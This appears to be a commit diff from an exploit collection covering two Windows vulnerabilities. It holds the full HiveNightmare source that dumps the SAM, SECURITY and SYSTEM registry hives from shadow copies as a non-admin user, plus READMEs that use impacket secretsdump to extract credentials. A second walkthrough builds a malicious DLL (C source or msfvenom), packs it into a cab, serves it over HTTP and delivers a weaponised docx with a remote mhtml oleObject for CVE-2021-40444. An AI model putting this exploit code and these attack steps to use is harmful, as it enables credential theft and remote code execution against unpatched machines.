// 0.3 - 20/07/2021 - merge in support for SYSTEM and SECURITY dumping, various bug fixes
// 0.4 - 21/07/2021 - better code shocker :O
// 0.5 - 21/07/2021 - favour retrieving hives from latest snapshot, UTF-16 support, bump to 15 snapshots
// 0.6 - 26/07/2021 - close file handle to avoid being a dummy
#include <windows.h>
#include <io.h>
#include <fcntl.h>
#include <iostream>
using std::endl;
using std::wcout;
HANDLE getVssFileHandle(TCHAR* path, int maxSearch) {
HANDLE hfile;
HANDLE retHandle = INVALID_HANDLE_VALUE;
FILETIME creationTime;
FILETIME lastAccessTime;
FILETIME lastWriteTime;
FILETIME youngest = { 0, 0 };
wchar_t base[] = L"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy";
for (int i = 1; i <= maxSearch; i++) {
wchar_t fullPath[MAX_PATH];
swprintf_s(fullPath, MAX_PATH, L"%s%d\\%s", base, i, path);
hfile = CreateFile(fullPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hfile != INVALID_HANDLE_VALUE) {
if (GetFileTime(hfile, &creationTime, &lastAccessTime, &lastWriteTime)) {
if (CompareFileTime(&youngest, &lastWriteTime) < 0) {
retHandle = hfile;
youngest = lastWriteTime;
wcout << "Newer file found: " << fullPath << endl;
}
else {
CloseHandle(hfile);
}
}
}
}
return retHandle;
}
void dumpHandleToFile(HANDLE handle, wchar_t* dest) {
HANDLE hAppend;
DWORD dwBytesRead, dwBytesWritten, dwPos;
BYTE buff[4096];
hAppend = CreateFile(dest, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hAppend == INVALID_HANDLE_VALUE)
{
printf("Could not write %ls - permission issue rather than vulnerability issue, make sure you're running from a folder where you can write to\n", dest);
return;
}
while (ReadFile(handle, buff, sizeof(buff), &dwBytesRead, NULL)
&& dwBytesRead > 0)
{
dwPos = SetFilePointer(hAppend, 0, NULL, FILE_END);
LockFile(hAppend, dwPos, 0, dwBytesRead, 0);
WriteFile(hAppend, buff, dwBytesRead, &dwBytesWritten, NULL);
UnlockFile(hAppend, dwPos, 0, dwBytesRead, 0);
}
CloseHandle(hAppend);
}
bool getFileTime(HANDLE handle, LPTSTR buf, int buflen) {
FILETIME creationTime;
FILETIME lastAccessTime;
FILETIME lastWriteTime;
SYSTEMTIME st;
if (!GetFileTime(handle, &creationTime, &lastAccessTime, &lastWriteTime)) {
if (buflen > 0)
buf[0] = L'\0';
return false;
}
FileTimeToSystemTime(&lastWriteTime, &st);
GetDateFormat(LOCALE_USER_DEFAULT, 0, &st, L"yyyy-MM-dd", buf, buflen);
return true;
}
int main(int argc, char* argv[])
{
int searchDepth;
_setmode(_fileno(stdout), _O_U16TEXT);
if (argc > 1) {
if (sscanf_s(argv[1], "%d", &searchDepth) != 1) {
wcout << "\nUsage: HiveNightmare.exe [max shadows to look at (default 15)]\n\n";
return -1;
}
}
else {
searchDepth = 15;
}
wcout << L"\nHiveNightmare v0.6 - dump registry hives as non-admin users\n\nSpecify maximum number of shadows to inspect with parameter if wanted, default is 15.\n\nRunning...\n\n";
HANDLE hFile;
TCHAR samLocation[] = L"Windows\\System32\\config\\SAM";
TCHAR securityLocation[] = L"Windows\\System32\\config\\SECURITY";
TCHAR systemLocation[] = L"Windows\\System32\\config\\SYSTEM";
TCHAR fileTime[200];
TCHAR fileName[20];
hFile = getVssFileHandle(samLocation, searchDepth);
if (hFile == INVALID_HANDLE_VALUE) {
wcout << "Could not open SAM :( Is System Protection not enabled or vulnerability fixed? Try increasing the number of VSS snapshots to search - list snapshots with vssadmin list shadows\n";
return -1;
}
else {
getFileTime(hFile, fileTime, 200);
swprintf_s(fileName, L"SAM-%s", fileTime); //buggy if name too long
dumpHandleToFile(hFile, fileName);
CloseHandle(hFile);
wcout << endl << L"Success: SAM hive from " << fileTime << L" written out to current working directory as " << fileName << endl << endl;
}
hFile = getVssFileHandle(securityLocation, searchDepth);
if (hFile == INVALID_HANDLE_VALUE) {
wcout << "Could not open SECURITY :( Is System Protection not enabled or vulnerability fixed? Try increasing the number of VSS snapshots to search - list snapshots with vssadmin list shadows\n";
return -1;
}
else {
getFileTime(hFile, fileTime, 200);
swprintf_s(fileName, L"SECURITY-%s", fileTime);
dumpHandleToFile(hFile, fileName);
CloseHandle(hFile);
wcout << endl << L"Success: SECURITY hive from " << fileTime << L" written out to current working directory as " << fileName << endl << endl;
}
hFile = getVssFileHandle(systemLocation, searchDepth);
if (hFile == INVALID_HANDLE_VALUE) {
wcout << "Could not open SYSTEM :( Is System Protection not enabled or vulnerability fixed? Try increasing the number of VSS snapshots to search - list snapshots with vssadmin list shadows\n";
return -1;
}
else {
getFileTime(hFile, fileTime, 200);
swprintf_s(fileName, L"SYSTEM-%s", fileTime);
dumpHandleToFile(hFile, fileName);
CloseHandle(hFile);
wcout << endl << L"Success: SYSTEM hive from " << fileTime << L" written out to current working directory as " << fileName << endl << endl;
}
wcout << endl << L"Assuming no errors above, you should be able to find hive dump files in current working directory." << endl;
return 0;
}

View File

@ -0,0 +1,149 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{d92ec8b5-b4b6-4650-a848-00160cbe13e0}</ProjectGuid>
<RootNamespace>HiveNightmare</RootNamespace>
<WindowsTargetPlatformVersion>10.0.18362.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<Optimization>MinSpace</Optimization>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="HiveNightmare.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="HiveNightmare.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,66 @@
### CVE-2021-36934
#### 描述
Windows Elevation 漏洞
#### 影响版本
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | ------------------ |
| Windows 10 | x64/x86/ARM64 | 1809 | | |
| Windows 10 | x64/x86/ARM64 | 1909 | | |
| Windows 10 | x64/x86/ARM64 | 2004 | | &#10004; |
| Windows 10 | x64/x86/ARM64 | 20H2 | | |
| Windows 10 | x64/x86/ARM64 | 21H1 | | |
#### 修复补丁
```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36934
```
#### 利用方式
编译环境
- VS2019V140X64 Release
- VS2019V140X86 Release
测试系统Windows 10 2004 X64
使用命令来查看目标系统是否是易受攻击的
```
icacls C:\windows\system32\config\sam
```
当出现如下图所示就表明是易受攻击的机器
![image-20210905164036648](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-36934_Windows_10_2004_X64_1.png)
然后需要开启系统还原,右键“此电脑->属性”,点击“系统保护->配置->启用系统保护->应用->确定”
![image-20210905164831213](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-36934_Windows_10_2004_X64_2.png)
然后创建系统还原点
![image-20210905164912574](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-36934_Windows_10_2004_X64_3.png)
接着使用EXP即可获取到系统的SAMSYSTEM和SECURITY文件
![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-36934_Windows_10_2004_X64_4.gif)
最后使用impacket项目进行登录即可
```
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/examples
python3 secretsdump.py -sam SAM-2021-07-11 -system SYSTEM-2021-07-11 -security SECURITY-2021-07-11 LOCAL
```
#### 代码来源
- [GossiTheDog](https://github.com/GossiTheDog/HiveNightmare)

View File

@ -0,0 +1,66 @@
### CVE-2021-36934
#### Describe
Windows Elevation of Privilege Vulnerability
#### ImpactVersion
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | ------------------ |
| Windows 10 | x64/x86/ARM64 | 1809 | | |
| Windows 10 | x64/x86/ARM64 | 1909 | | |
| Windows 10 | x64/x86/ARM64 | 2004 | | &#10004; |
| Windows 10 | x64/x86/ARM64 | 20H2 | | |
| Windows 10 | x64/x86/ARM64 | 21H1 | | |
#### Patch
```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36934
```
#### Utilization
CompilerEnvironment
- VS2019V140X64 Release
- VS2019V140X86 Release
Test system Windows 10 2004 X64
Use the command to see if the target system is vulnerable to attack
```
icacls C:\windows\system32\config\sam
```
When the following figure shows the machine, it is an easy attack.
![image-20210905164036648](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-36934_Windows_10_2004_X64_1.png)
Then you need to turn on the system restore, right key "This computer-> property", click "System Protection -> Configuration -> Enable System Protection -> Apply -> OK"
![image-20210905164831213](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-36934_Windows_10_2004_X64_2.png)
Then create a system restore point
![image-20210905164912574](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-36934_Windows_10_2004_X64_3.png)
Then you can get the system's SAM and SYSTEM and SECURITY files using Exp.
![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-36934_Windows_10_2004_X64_4.gif)
Finally, use the IMPACKET project to log in.
```
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/examples
python3 secretsdump.py -sam SAM-2021-07-11 -system SYSTEM-2021-07-11 -security SECURITY-2021-07-11 LOCAL
```
#### CodeSource
- [GossiTheDog](https://github.com/GossiTheDog/HiveNightmare)

View File

@ -0,0 +1,126 @@
### CVE-2021-40444
#### 描述
这个漏洞是IE浏览器的漏洞但是offer相关组件默认使用的是IE浏览器所以在offer相关组件禁用了ActiveX也一样可以执行
#### 影响版本
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | -------- |
| Windows 10 | x86/x64 | | | |
| Windows 10 | x86/x64 | 1607 | | |
| Windows 10 | x86/x64/AMD64 | 1809 | | |
| Windows 10 | x86/x64/AMD64 | 1909 | | |
| Windows 10 | x86/x64/AMD64 | 2004 | | &#10004; |
| Windows 10 | x86/x64/AMD64 | 20H2 | | |
| Windows 10 | x86/x64/AMD64 | 21H1 | | |
| Windows 7 | x86/x64 | | SP1 | |
| Windows 8.1 | x86/x64 | | | |
| Windows Rt 8.1 | | | | |
| Windows Server 2008 | x86/x64 | | SP2 | |
| Windows Server 2008 | x64 | R2 | SP1 | |
| Windows Server 2012 | | | | |
| Windows Server 2012 | | R2 | | |
| Windows Server 2016 | | | | |
| Windows Server 2019 | | | | |
| Windows Server 2022 | | | | |
| Windows Server | | 2004 | | |
| Windows Server | | 20H2 | | |
#### 修复补丁
```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40444
```
#### 利用原理
根据之前在野利用样本`938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52`
可以知道其实就是利用默认浏览器IE加载ActiveX
![image-20210911112944428](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-40444_Windows_10_2004_X64_1.png)
本质上恶意利用只需要修改样本中的`document.xml.rels`文件中框起来mhtml和x-usc这两段内容该为恶意目标网页即可达到利用
#### 利用方式
首先需要生成一个恶意的DLL文件通过msf或者自己编译都行
- 自己编译
```c
//calc.c
#include <windows.h>
void exec(void) {
system("cmd /c calc");
return;
}
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpReserved )
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
exec();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
```
然后运行命令
```
i686-w64-mingw32-gcc -shared calc.c -o calc.dll
```
- 通过msf编译
```
msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -f dll>>calc.dll
```
> 最好使用MSF生成DLL文件
>
> 还有请看准对应机器有些Windows 10 版本不存在该问题
安装环境所需要的依赖`sudo apt-get install lcab`,生成 cab用的
接着使用一键化脚本,`test/calc.dll`这个为你生成的哪个dll所在的绝对路径`http://you_ip`你启动exp这台机器的IP
```
cd CVE-2021-40444 ; python3 exploit.py generate test/calc.dll http://you_ip
```
![image-20210911115757383](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-40444_Windows_10_2004_X64_2.png)
然后启动http服务
```
cd srv ; python3 -m http.server 80
```
接着把生成的恶意docx文件`out/`文件夹中放到目标机器上Windows 10 2004 x64即可执行成功
![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-40444_Windows_10_2004_X64_3.gif)
#### 参考项目
- [prcabral](https://github.com/prcabral/CVE-2021-40444)

View File

@ -0,0 +1,126 @@
### CVE-2021-40444
#### Describe
Microsoft MSHTML Remote Code Execution Vulnerability
#### ImpactVersion
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | -------- |
| Windows 10 | x86/x64 | | | |
| Windows 10 | x86/x64 | 1607 | | |
| Windows 10 | x86/x64/AMD64 | 1809 | | |
| Windows 10 | x86/x64/AMD64 | 1909 | | |
| Windows 10 | x86/x64/AMD64 | 2004 | | &#10004; |
| Windows 10 | x86/x64/AMD64 | 20H2 | | |
| Windows 10 | x86/x64/AMD64 | 21H1 | | |
| Windows 7 | x86/x64 | | SP1 | |
| Windows 8.1 | x86/x64 | | | |
| Windows Rt 8.1 | | | | |
| Windows Server 2008 | x86/x64 | | SP2 | |
| Windows Server 2008 | x64 | R2 | SP1 | |
| Windows Server 2012 | | | | |
| Windows Server 2012 | | R2 | | |
| Windows Server 2016 | | | | |
| Windows Server 2019 | | | | |
| Windows Server 2022 | | | | |
| Windows Server | | 2004 | | |
| Windows Server | | 20H2 | | |
#### Patch
```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40444
```
#### UtilizationPrinciple
Based on the previous use of samples`938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52`
You can know that it is to load ActiveX using the default browser (IE)
![image-20210911112944428](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-40444_Windows_10_2004_X64_1.png)
Essentially maliciously uses only the `Document.xml.Rels` files in the sample, MHTML and X-USC, which can be used as the malicious target web page, you can achieve the utilization
#### Utilization
First, you need to generate a malicious DLL file, and compile themselves through MSF or yourself.
- Compile
```c
//calc.c
#include <windows.h>
void exec(void) {
system("cmd /c calc");
return;
}
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpReserved )
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
exec();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
```
Then run the command
```
i686-w64-mingw32-gcc -shared calc.c -o calc.dll
```
- Compiled by MSF
```
msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -f dll>>calc.dll
```
> It is best to use MSF to generate a DLL file!
>
> Also, please see the corresponding machine, some Windows 10 version does not exist.
The relying on the installation environment is required to generate a cab
Then use a one-touch script,`test/calc.dll`This is the absolute path you generated by you,`http://you_ip`You start the IP of the EXP this machine
```
cd CVE-2021-40444 ; python3 exploit.py generate test/calc.dll http://you_ip
```
![image-20210911115757383](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-40444_Windows_10_2004_X64_2.png)
Then start the HTTP service
```
cd srv ; python3 -m http.server 80
```
The resulting malicious DOCX file (in the `out/` folder) is placed on the target machine (Windows 10 2004 x64), can perform success
![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-40444_Windows_10_2004_X64_3.gif)
#### ProjectSource
- [prcabral](https://github.com/prcabral/CVE-2021-40444)

View File

@ -0,0 +1,77 @@
# CVE-2021-40444
Reproduce steps for CVE-2021-40444
These reproduction steps are based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file).
## Generating docx
Go to `maldoc/word/_rels/document.xml.rels` and edit the two ocurrences for `http://<HOST>` with the URL to the exploit.html Eg.: `http://127.0.0.1/exploit.html` file.
Generate docx:
`cd maldoc/ ; zip -r maldoc.docx *`
## Generating malicious cab
```
#include <windows.h>
void exec(void) {
system("C:\\Windows\\System32\\calc.exe");
return;
}
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpReserved )
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
exec();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
```
Exec:
`i686-w64-mingw32-gcc -shared calc.c -o calc.dll`
Generate cab (install lcab `sudo apt-get install lcab`)
`cp calc.dll championship.inf ; mkdir gen/ ; cd gen/ ; lcab '../championship.inf' out.cab`
Copy out.cab into `www/` directory, modify exploit.html to point to `http://127.0.0.1/out.cab`
Execute Python script: `patch_cab.py`
Finally, setup server:
`cd www/ ; sudo python3 -m http.server 80`
# End
Execute now maldoc.docx in target VM
If not working, make sure there is a `championship.inf` file at `C:\Users\<user>\AppData\Temp\`
If file is present but DLL did not get executed, make sure you are opening docx from a folder reached from by exploit.html, like Documents, Desktop, or Downloads.
# More
To automatically resolve the array obfuscation on HTML file use `deobfuscate.py` (already has hardcoded the mutated array)
Anyway, there is already a deobfuscated version: `deob.html`

View File

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="jpeg" ContentType="image/jpeg"/><Default Extension="wmf" ContentType="image/x-wmf"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/webSettings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

View File

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/></Relationships>

View File

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal</Template><TotalTime>34</TotalTime><Pages>1</Pages><Words>206</Words><Characters>1176</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>9</Lines><Paragraphs>2</Paragraphs><ScaleCrop>false</ScaleCrop><Company>Consumers Association</Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>1380</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>16.0000</AppVersion></Properties>

View File

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title></dc:title><dc:subject></dc:subject><dc:creator>Microsoft</dc:creator><dc:description></dc:description><cp:lastModifiedBy>user</cp:lastModifiedBy><cp:revision>6</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2013-10-31T15:25:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2021-08-31T16:47:00Z</dcterms:modified><dc:language>en-US</dc:language></cp:coreProperties>

View File

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId8" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/><Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="mhtml:<EXPLOIT_HOST_HERE>!x-usc:<EXPLOIT_HOST_HERE>" TargetMode="External"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image2.wmf"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.jpeg"/></Relationships>

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,2 @@
